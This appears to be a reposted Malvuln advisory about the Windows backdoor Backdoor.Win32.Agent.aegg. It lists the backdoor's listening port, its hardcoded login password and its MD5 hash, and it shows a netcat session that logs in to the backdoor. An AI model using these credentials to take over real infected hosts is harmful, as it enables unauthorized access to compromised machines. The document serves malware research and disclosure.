Backdoor.Win32.Agent.aegg / Weak Hardcoded Credentials

CVE Category Price Severity
CWE-16 $500 Critical
Author Risk Exploitation Type Date
Unknown High Remote 2022-04-27
Our sensors found this exploit at:

Below is a copy:

Backdoor.Win32.Agent.aegg / Weak Hardcoded Credentials
Discovery / credits: Malvuln - (c) 2022
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.Agent.aegg 
Vulnerability: Weak Hardcoded Credentials
Description: The malware listens on TCP port 8665. Authentication is required, however the password "Xc 2870508" is weak and hardcoded within the PE file.
Family: Agent
Type: PE32
MD5: 58be35e792476d1c015df7853112d200
Vuln ID: MVID-2022-0571
Dropped files: ck.reg
Disclosure: 04/26/2022

C:\>nc64.exe x.x.x.x 8665
Welcome to XC Doc Server!
Login root

C:\nc64.exe x.x.x.x 8665
Welcome to XC Doc Server!
Login Xc 2870508


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